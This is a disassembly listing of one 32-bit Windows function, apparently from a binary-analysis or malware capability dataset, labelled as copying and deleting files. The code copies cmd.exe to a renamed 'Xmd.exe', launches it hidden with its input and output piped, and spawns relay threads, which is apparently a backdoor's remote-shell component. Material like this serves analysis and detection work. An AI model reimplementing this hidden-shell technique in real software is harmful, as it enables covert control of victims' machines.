Function at 0x10006ba1
Capabilities:
Copy file
Delete file

Disassembly:
mov eax, 0x100134a8
call fcn.1000c73c
sub esp, 0x478
push ebx
push esi
push edi
mov ebx, ecx
push dword [ebp + 8]
mov dword [ebp - 0x30], ebx
call fcn.10004d35
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
xor esi, esi
pop ecx
xor eax, eax
lea edi, [ebp - 0x70]
mov dword [ebp - 0x74], esi
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x28]
mov dword [ebp - 0x2c], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea edi, [ebx + 0x18]
push str.CreatePipe
mov dword [ebp - 4], esi
mov dword [ebx], 0x100142c0
mov dword [ebx + 0x10], esi
mov dword [ebx + 0x14], esi
mov dword [edi], esi
mov dword [ebx + 0x1c], esi
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], 1
call fcn.10005618
push eax
call fcn.10005641
pop ecx
mov dword [ebp - 0x10], eax
pop ecx
lea eax, [ebp - 0x1c]
push esi
push eax
lea eax, [ebx + 0x1c]
push eax
lea eax, [ebx + 0x10]
push eax
call dword [ebp - 0x10]
test eax, eax
jne 0x10006c52
mov eax, dword [ebx + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, esi
je 0x10006c41
push eax
call edi
mov eax, dword [ebx + 0x1c]
cmp eax, esi
je 0x10006e19
push eax
jmp 0x10006dc8
lea eax, [ebp - 0x1c]
push esi
push eax
lea eax, [ebx + 0x14]
push eax
push edi
call dword [ebp - 0x10]
test eax, eax
jne 0x10006c87
mov eax, dword [ebx + 0x14]
cmp eax, esi
je 0x10006c71
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [edi]
cmp edi, esi
je 0x10006e19
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10006e19
push 0x44
lea eax, [ebp - 0x74]
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x2c]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [edi]
mov edx, 0x81
mov dword [ebp - 0x3c], eax
mov eax, dword [ebx + 0x1c]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], eax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x482]
mov word [ebp - 0x484], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x27a]
mov word [ebp - 0x27c], si
rep stosd dword es:[edi], eax
push str.GetSystemDirectoryW
mov dword [ebp - 0x74], 0x44
mov word [ebp - 0x44], si
mov dword [ebp - 0x48], 0x101
stosw word es:[edi], ax
call fcn.10005618
push eax
call fcn.10005641
pop ecx
mov edi, 0x104
pop ecx
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x484]
push edi
push ecx
call eax
lea eax, [ebp - 0x27c]
push edi
push eax
call dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x484]
push str.cmd.exe
push eax
call edi
lea eax, [ebp - 0x27c]
push str.Xmd.exe
push eax
call edi
lea eax, [ebp - 0x27c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x27c]
push esi
push eax
lea eax, [ebp - 0x484]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push str.CreateProcessW
call fcn.10005618
push eax
call fcn.10005641
pop ecx
mov dword [ebp - 0x10], eax
pop ecx
push str.CloseHandle
call fcn.10005618
push eax
call fcn.10005641
pop ecx
mov edi, eax
pop ecx
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x74]
push eax
push esi
push esi
push 0x20
push 1
push esi
push esi
lea eax, [ebp - 0x27c]
push esi
push eax
call dword [ebp - 0x10]
test eax, eax
jne 0x10006dcc
push dword [ebx + 0x10]
call edi
push dword [ebx + 0x14]
call edi
push dword [ebx + 0x18]
call edi
push dword [ebx + 0x1c]
call edi
jmp 0x10006e19
mov eax, dword [ebp - 0x2c]
push 1
mov dword [ebx + 0x20], eax
mov eax, dword [ebp - 0x28]
mov dword [ebx + 0x24], eax
lea eax, [ebp + 0xb]
push eax
mov ecx, ebx
mov byte [ebp + 0xb], 0x7d
call fcn.10004d90
mov ecx, ebx
call fcn.10004dd5
push esi
push esi
push esi
push ebx
push 0x10006f82
push esi
push esi
call fcn.100097ed
push esi
push esi
push esi
push ebx
push 0x10007018
push esi
push esi
mov dword [ebx + 0x28], eax
call fcn.100097ed
add esp, 0x38
mov dword [ebx + 0x2c], eax
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, ebx
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4